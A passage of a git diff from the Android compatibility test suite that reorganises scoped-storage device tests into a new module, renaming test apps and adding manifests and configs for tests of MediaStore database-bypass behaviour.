+ APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
+ }
+
+ private void testAppDoesntBypassDatabaseOps(TestApp app) throws Exception {
+ final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
+ // File path create() added file to database.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
+
+ assertThat(renameFileAs(app, file, renamedFile)).isTrue();
+ // File path rename() also updates the database row
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+
+ assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
+ // File path delete() removes database row.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
+ } finally {
+ if (file.exists()) {
+ deleteFileAsNoThrow(app, file.getAbsolutePath());
+ }
+ if (renamedFile.exists()) {
+ deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
+ }
+ }
+ }
+
+ private void testAppBypassesDatabaseOps(TestApp app) throws Exception {
+ final File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+ final File renamedFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(createFileAs(app, file.getAbsolutePath())).isTrue();
+ // File path create() didn't add the file to database.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isFalse();
+
+ // Ensure file is added to database.
+ assertNotNull(MediaStore.scanFile(getContentResolver(), file));
+
+ assertThat(renameFileAs(app, file, renamedFile)).isTrue();
+ // Rename() didn't update the database row.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, file)).isTrue();
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isFalse();
+
+ // Ensure database is updated with renamed path
+ assertNull(MediaStore.scanFile(getContentResolver(), file));
+ assertNotNull(MediaStore.scanFile(getContentResolver(), renamedFile));
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+
+ assertThat(deleteFileAs(app, renamedFile.getAbsolutePath())).isTrue();
+ // Unlink() didn't remove the database row.
+ assertThat(TestUtils.checkDatabaseRowExistsAs(app, renamedFile)).isTrue();
+ } finally {
+ if (file.exists()) {
+ deleteFileAsNoThrow(app, file.getAbsolutePath());
+ }
+ if (renamedFile.exists()) {
+ deleteFileAsNoThrow(app, renamedFile.getAbsolutePath());
+ }
+ MediaStore.scanFile(getContentResolver(), file);
+ MediaStore.scanFile(getContentResolver(), renamedFile);
+ }
+ }
+}
diff --git a/hostsidetests/scopedstorage/device/AndroidManifest.xml b/hostsidetests/scopedstorage/device/AndroidManifest.xml
index 8d397e28ff5..c9ff6a9028d 100644
--- a/hostsidetests/scopedstorage/device/AndroidManifest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidManifest.xml
@@ -33,6 +33,9 @@
<package android:name="android.scopedstorage.cts.testapp.SystemGalleryBypassDB" />
<package android:name="android.scopedstorage.cts.testapp.withqueriestag" />
<package android:name="android.scopedstorage.cts.testapp.withqueryallpackagestag" />
+ <package android:name="android.scopedstorage.cts.testapp.SystemGallery30BypassDB" />
+ <package android:name="android.scopedstorage.cts.testapp.E30" />
+ <package android:name="android.scopedstorage.cts.testapp.E30.filemanager" />
</queries>
<application android:label="Scoped Storage Device Tests">
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index 648469e519a..d26f207ee6f 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -23,6 +23,11 @@
<option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
<option name="test-file-name" value="CtsTestAppWithQueryAllPackagesPermission.apk" />
<option name="test-file-name" value="CtsTestAppWithQueriesTag.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE30FileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManagerBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGalleryBypassDB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppSystemGallery30BypassDB.apk" />
</target_preparer>
<option
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
index 51f61ecd5a5..9caf9d708c2 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/BypassDatabaseOperationsTest.java
@@ -25,10 +25,7 @@ import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
import static android.scopedstorage.cts.lib.TestUtils.renameFileAs;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
import static androidx.test.InstrumentationRegistry.getContext;
@@ -40,6 +37,7 @@ import static org.junit.Assert.assertNull;
import android.Manifest;
import android.app.AppOpsManager;
import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.scopedstorage.cts.lib.TestUtils;
import android.util.Log;
@@ -58,7 +56,9 @@ import org.junit.runners.Parameterized.Parameters;
import java.io.File;
/**
- * Device-side test suite to verify file path operations optionally bypassing database operations.
+ * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
+ * This is a temporary test class, and it will be deleted
+ * after all the links to new modules are created.
*/
@RunWith(Parameterized.class)
public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@@ -74,14 +74,14 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
"android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
"CtsScopedStorageTestAppSystemGalleryBypassDB.apk");
// An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30.
- private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppC",
- "android.scopedstorage.cts.testapp.C", 1, false,
- "CtsScopedStorageTestAppC30.apk");
+ private static final TestApp APP_SYSTEM_GALLERY_30 = new TestApp("TestAppE30",
+ "android.scopedstorage.cts.testapp.E30", 1, false,
+ "CtsScopedStorageTestAppE30.apk");
// An app with READ_EXTERNAL_STORAGE_PERMISSION. Targets targetSDK=30 and has
// requestRawExternalStorageAccess=true
private static final TestApp APP_SYSTEM_GALLERY_30_BYPASS_DB = new TestApp(
- "TestAppSystemGalleryBypassDB",
- "android.scopedstorage.cts.testapp.SystemGalleryBypassDB", 1, false,
+ "TestAppSystemGallery30BypassDB",
+ "android.scopedstorage.cts.testapp.SystemGallery30BypassDB", 1, false,
"CtsScopedStorageTestAppSystemGallery30BypassDB.apk");
// An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
// Targets current SDK and preinstalled
@@ -94,9 +94,9 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
"TestAppFileManagerBypassDB", "android.scopedstorage.cts.testapp.filemanagerbypassdb",
1, false, "CtsScopedStorageTestAppFileManagerBypassDB.apk");
// An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission and targets targetSDK=30
- private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppC",
- "android.scopedstorage.cts.testapp.C", 1, false,
- "CtsScopedStorageTestAppC30.apk");
+ private static final TestApp APP_FM_TARGETS_30 = new TestApp("TestAppE30FileManager",
+ "android.scopedstorage.cts.testapp.E30.filemanager", 1, false,
+ "CtsScopedStorageTestAppE30FileManager.apk");
private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
@@ -154,16 +154,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testManageExternalStorage_WithBypassFlag_BypassesDatabase() throws Exception {
- installApp(APP_FM_BYPASS_DATABASE_OPS);
- try {
- final int fmUid =
- getContext().getPackageManager().getPackageUid(
- APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
- allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
- } finally {
- uninstallAppNoThrow(APP_FM_BYPASS_DATABASE_OPS);
- }
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_BYPASS_DATABASE_OPS.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_BYPASS_DATABASE_OPS);
}
/**
@@ -172,16 +166,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
*/
@Test
public void testManageExternalStorage_targets30_BypassesDatabase() throws Exception {
- installApp(APP_FM_TARGETS_30);
- try {
- final int fmUid =
- getContext().getPackageManager().getPackageUid(
- APP_FM_TARGETS_30.getPackageName(), 0);
- allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
- testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
- } finally {
- uninstallAppNoThrow(APP_FM_TARGETS_30);
- }
+ final int fmUid = getContext().getPackageManager().getPackageUid(
+ APP_FM_TARGETS_30.getPackageName(), 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+ testAppBypassesDatabaseOps(APP_FM_TARGETS_30);
}
/**
@@ -210,16 +198,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testSystemGallery_WithBypassFlag_BypassesDatabase() throws Exception {
- installAppWithStoragePermissions(APP_SYSTEM_GALLERY_BYPASS_DB);
- try {
- final int sgUid =
- getContext().getPackageManager().getPackageUid(
- APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
- allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
- testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
- } finally {
- uninstallAppNoThrow(APP_SYSTEM_GALLERY_BYPASS_DB);
- }
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_BYPASS_DB);
}
/**
@@ -228,16 +210,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
*/
@Test
public void testSystemGallery_targets30_DoesntBypassDatabase() throws Exception {
- installAppWithStoragePermissions(APP_SYSTEM_GALLERY_30);
- try {
- final int sgUid =
- getContext().getPackageManager().getPackageUid(
- APP_SYSTEM_GALLERY_30.getPackageName(), 0);
- allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
- testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
- } finally {
- uninstallAppNoThrow(APP_SYSTEM_GALLERY_30);
- }
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppDoesntBypassDatabaseOps(APP_SYSTEM_GALLERY_30);
}
/**
@@ -248,16 +224,10 @@ public class BypassDatabaseOperationsTest extends ScopedStorageBaseDeviceTest {
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testSystemGallery_targets30_WithBypassFlag_BypassesDatabase() throws Exception {
- installAppWithStoragePermissions(APP_SYSTEM_GALLERY_30_BYPASS_DB);
- try {
- final int sgUid =
- getContext().getPackageManager().getPackageUid(
- APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
- allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
- testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
- } finally {
- uninstallAppNoThrow(APP_SYSTEM_GALLERY_30_BYPASS_DB);
- }
+ final int sgUid = getContext().getPackageManager().getPackageUid(
+ APP_SYSTEM_GALLERY_30_BYPASS_DB.getPackageName(), 0);
+ allowAppOpsToUid(sgUid, SYSTEM_GALLERY_APPOPS);
+ testAppBypassesDatabaseOps(APP_SYSTEM_GALLERY_30_BYPASS_DB);
}
private void testAppDoesntBypassDatabaseOps(TestApp app) throws Exception {
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 8e653a1f14f..4b17b65b93b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -48,6 +48,7 @@ import android.content.Intent;
import android.database.Cursor;
import android.media.ExifInterface;
import android.net.Uri;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.os.Bundle;
import android.os.Environment;
import android.os.FileUtils;
@@ -78,7 +79,9 @@ import java.util.Collection;
import java.util.List;
/**
- * Device-side test suite to verify redacted URI operations.
+ * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
+ * This is a temporary test class, and it will be deleted
+ * after all the links to new modules are created.
*/
@RunWith(Parameterized.class)
@SdkSuppress(minSdkVersion = 31, codeName = "S")
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index bc6d64421be..8a0c53a4e2c 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -139,6 +139,7 @@ import android.os.storage.StorageManager;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
import android.scopedstorage.cts.lib.RedactionTestHelper;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.system.ErrnoException;
import android.system.Os;
import android.system.StructStat;
@@ -174,7 +175,9 @@ import java.util.HashMap;
import java.util.List;
/**
- * Device-side test suite to verify scoped storage business logic.
+ * We are in process of splitting CtsScopedStorageDeviceOnlyTest module into multiple ones.
+ * This is a temporary test class, and it will be deleted
+ * after all the links to new modules are created.
*/
@RunWith(Parameterized.class)
public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
@@ -182,7 +185,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
- static final String TAG = "ScopedStorageDeviceTest";
+ static final String TAG = "ScopedStorageDeviceTestCopy";
static final String THIS_PACKAGE_NAME = getContext().getPackageName();
/**
@@ -873,7 +876,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
try (InputStream in =
getContext().getResources().openRawResource(R.raw.img_with_metadata);
- FileOutputStream out = new FileOutputStream(jpgFile)) {
+ FileOutputStream out = new FileOutputStream(jpgFile)) {
// Dump the image we have to external storage
FileUtils.copy(in, out);
// Sync file to disk to ensure file is fully written to the lower fs attempting to
@@ -1211,9 +1214,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
File lowerCaseFile = new File(getDownloadDir(), "cache_consistency_for_case_insensitivity");
try (ParcelFileDescriptor upperCasePfd =
- ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
+ ParcelFileDescriptor.open(upperCaseFile, MODE_READ_WRITE | MODE_CREATE);
ParcelFileDescriptor lowerCasePfd =
- ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
+ ParcelFileDescriptor.open(lowerCaseFile, MODE_READ_WRITE | MODE_CREATE)) {
assertRWR(upperCasePfd, lowerCasePfd);
assertRWR(lowerCasePfd, upperCasePfd);
@@ -1276,15 +1279,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
public void testReadStorageInvalidation() throws Exception {
if (SdkLevel.isAtLeastT()) {
testAppOpInvalidation(
- APP_C,
- new File(getDcimDir(), "read_storage.jpg"),
- Manifest.permission.READ_MEDIA_IMAGES,
- AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
- /* forWrite */ false);
+ APP_C,
+ new File(getDcimDir(), "read_storage.jpg"),
+ Manifest.permission.READ_MEDIA_IMAGES,
+ AppOpsManager.OPSTR_READ_MEDIA_IMAGES,
+ /* forWrite */ false);
} else {
testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
- Manifest.permission.READ_EXTERNAL_STORAGE,
- AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
+ Manifest.permission.READ_EXTERNAL_STORAGE,
+ AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
}
}
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
index 07f57e79207..baf5a4f9b2f 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
@@ -42,6 +42,7 @@ import android.net.Uri;
import android.os.Bundle;
import android.platform.test.annotations.FlakyTest;
import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
import android.util.Log;
import androidx.test.core.app.ApplicationProvider;
diff --git a/hostsidetests/scopedstorage/general/AndroidManifest.xml b/hostsidetests/scopedstorage/general/AndroidManifest.xml
new file mode 100644
index 00000000000..47c38af6638
--- /dev/null
+++ b/hostsidetests/scopedstorage/general/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.scopedstorage.cts.general">
+
+ <uses-sdk android:minSdkVersion="29" />
+
+ <queries>
+ <package android:name="android.scopedstorage.cts.testapp.A.withres" />
+ <package android:name="android.scopedstorage.cts.testapp.B.noperms" />
+ <package android:name="android.scopedstorage.cts.testapp.filemanager" />
+ <package android:name="android.scopedstorage.cts.testapp.D" />
+ <package android:name="android.scopedstorage.cts.testapp.general.only" />
+ <package android:name="android.scopedstorage.cts.testapp.E.legacy" />
+ <package android:name="android.scopedstorage.cts.testapp.E" />
+ </queries>
+
+ <application android:label="General Scoped Storage Device Tests">
+ <uses-library android:name="android.test.runner" />
+ <activity android:name="android.scopedstorage.cts.lib.GetResultActivity"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.scopedstorage.cts.general"
+ android:label="General Device-only scoped storage tests" />
+
+</manifest>
diff --git a/hostsidetests/scopedstorage/general/AndroidTest.xml b/hostsidetests/scopedstorage/general/AndroidTest.xml
new file mode 100644
index 00000000000..772a4b735f7
--- /dev/null
+++ b/hostsidetests/scopedstorage/general/AndroidTest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2023 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<configuration description="Runs general device-only tests for scoped storage">
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsScopedStorageGeneralTest.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppELegacy.apk" />
+ <option name="test-file-name" value="CtsScopedStorageTestAppE.apk" />
+ </target_preparer>
+
+ <option
+ name="config-descriptor:metadata"
+ key="mainline-param"
+ value="com.google.android.mediaprovider.apex" />
+
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+ <option name="test-suite-tag" value="cts" />
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.scopedstorage.cts.general" />
+ <option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
+ </test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
+</configuration> \ No newline at end of file
diff --git a/hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java
new file mode 100644
index 00000000000..d620b17bdd2
--- /dev/null
+++ b/hostsidetests/scopedstorage/general/src/android/scopedstorage/cts/general/ScopedStorageDeviceTest.java
@@ -0,0 +1,3590 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.scopedstorage.cts.general;
+
+import static android.app.AppOpsManager.permissionToOp;
+import static android.os.ParcelFileDescriptor.MODE_CREATE;
+import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromFile;
+import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
+import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
+import static android.scopedstorage.cts.lib.TestUtils.addressStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
+import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
+import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
+import static android.scopedstorage.cts.lib.TestUtils.assertMountMode;
+import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
+import static android.scopedstorage.cts.lib.TestUtils.canOpen;
+import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.canQueryOnUri;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
+import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
+import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
+import static android.scopedstorage.cts.lib.TestUtils.fileExistsAs;
+import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
+import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
+import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalObbDir;
+import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
+import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
+import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
+import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
+import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
+import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRecordingsDir;
+import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
+import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
+import static android.scopedstorage.cts.lib.TestUtils.installApp;
+import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
+import static android.scopedstorage.cts.lib.TestUtils.listAs;
+import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
+import static android.scopedstorage.cts.lib.TestUtils.queryAudioFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
+import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
+import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
+import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
+import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
+import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
+import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
+import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
+import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
+import static android.system.OsConstants.F_OK;
+import static android.system.OsConstants.O_APPEND;
+import static android.system.OsConstants.O_CREAT;
+import static android.system.OsConstants.O_EXCL;
